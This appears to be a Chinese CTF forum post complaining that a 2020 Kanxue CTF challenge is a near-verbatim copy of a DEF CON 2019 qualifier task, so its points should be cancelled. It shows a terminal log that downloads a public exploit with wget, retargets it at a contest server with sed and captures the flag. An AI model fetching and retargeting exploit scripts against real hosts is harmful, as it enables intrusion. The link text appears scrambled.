建议同时取消本题攻击方、防守方的分数

分析

下载程序之后，参与过 2019 年的 DEF CON CTF Qualifier 的人就会感觉到一股熟悉，没错，这个程序正是原封原样照抄的，只改了提示的字符串，甚至连 write 的时候的长度都没改，导致输出的提示长的不太正常（多了个 "\x00S"）。

在放出的第一天没有人提交 flag，是因为部署到了 Ubuntu 16.04 上，而 16.04 的 libc 恰好破坏了程序中埋的 secret 未擦除的 bug。当然，通过这里描述的解法也还是能解的，不过要针对远程环境调一下 cacheline grooming 的样子，还要跑一个 16-bit 的暴力，估计吓退了一些人吧。

解决

直接拿以前的 exploit 运行即可。或者直接下载运行别人写好的 exploit：

$ wget 'f2bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6V1j5i4k6A6k6o6V1@1x3X3A6Q4x3V1k6U0N6r3k6Q4x3X3c8%4M7X3W2@1k6i4g2H3M7#2)9J5c8Y4u0S2N6#2)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8X3c8W2k6X3y4G2L8W2)9J5k6s2q4#2j5h3I4K6i4K6u0V1x3U0l9I4z5g2)9J5c8X3S2G2N6r3g2D9i4K6u0V1j5$3q4D9K9h3k6G2M7X3&6A6j5g2)9J5c8X3S2G2N6r3g2D9i4K6u0W2M7s2W2Q4x3U0M7`.
--2020-04-24 10:31:22--  b8dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6V1j5i4k6A6k6o6V1@1x3X3A6Q4x3V1k6U0N6r3k6Q4x3X3c8%4M7X3W2@1k6i4g2H3M7#2)9J5c8Y4u0S2N6#2)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8X3c8W2k6X3y4G2L8W2)9J5k6s2q4#2j5h3I4K6i4K6u0V1x3U0l9I4z5g2)9J5c8X3S2G2N6r3g2D9i4K6u0V1j5$3q4D9K9h3k6G2M7X3&6A6j5g2)9J5c8X3S2G2N6r3g2D9i4K6u0W2M7s2V1`.
Resolving github.com (github.com)... 15.164.81.167
Connecting to github.com (github.com)|15.164.81.167|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: 0f2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6J5j5i4N6Q4x3X3g2Y4K9i4c8Z5N6h3u0#2M7$3g2J5j5$3!0F1N6r3g2F1N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8S2N6X3W2V1z5e0b7J5K9W2)9J5c8X3y4@1k6W2)9J5k6s2N6J5K9i4c8W2N6i4m8K6i4K6u0r3L8h3q4K6N6r3g2J5i4K6u0r3k6r3g2X3j5$3!0F1i4K6u0V1M7i4g2S2L8s2y4Q4x3X3b7J5x3o6p5&6i4K6u0r3K9r3!0@1k6h3I4Q4x3X3c8U0j5h3I4A6k6X3!0J5L8X3W2S2i4K6u0r3K9r3!0@1k6h3I4Q4x3X3g2H3P5b7`.`. [following]
--2020-04-24 10:31:22--  38cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6J5j5i4N6Q4x3X3g2Y4K9i4c8Z5N6h3u0#2M7$3g2J5j5$3!0F1N6r3g2F1N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8S2N6X3W2V1z5e0b7J5K9W2)9J5c8X3y4@1k6W2)9J5k6s2N6J5K9i4c8W2N6i4m8K6i4K6u0r3L8h3q4K6N6r3g2J5i4K6u0r3k6r3g2X3j5$3!0F1i4K6u0V1M7i4g2S2L8s2y4Q4x3X3b7J5x3o6p5&6i4K6u0r3K9r3!0@1k6h3I4Q4x3X3c8U0j5h3I4A6k6X3!0J5L8X3W2S2i4K6u0r3K9r3!0@1k6h3I4Q4x3X3g2H3P5b7`.`.
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1244 (1.2K) [text/plain]
Saving to: ‘hotel.py’

hotel.py                                                  100%[=====================================================================================================================================>]   1.21K  --.-KB/s    in 0s

2020-04-24 10:31:23 (19.6 MB/s) - ‘hotel.py’ saved [1244/1244]

$ sed -i s/hotelcalifornia.quals2019.oooverflow.io/47.102.223.17/g hotel.py
$ sed -i s/7777/10000/g hotel.py
$ sed -i s/FLAG.txt/flag/g hotel.py
$ python hotel.py mdzz
<...略...>
[*] Switching to interactive mode
Welcome to the 2020kanxueCTF.
\x00
S
Shellcode > \x00
(get 1024 bytes)
We are We failed!

Shellcode > \x00
(get 0 bytes)
flag{a01e62c0-17f8-4ec9-8be6-37e0a768f5d8}
[*] Closed connection to 47.102.223.17 port 10000
[*] Got EOF while reading in interactive

如果这样的题目分数都保留，这比赛还有什么意义？

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课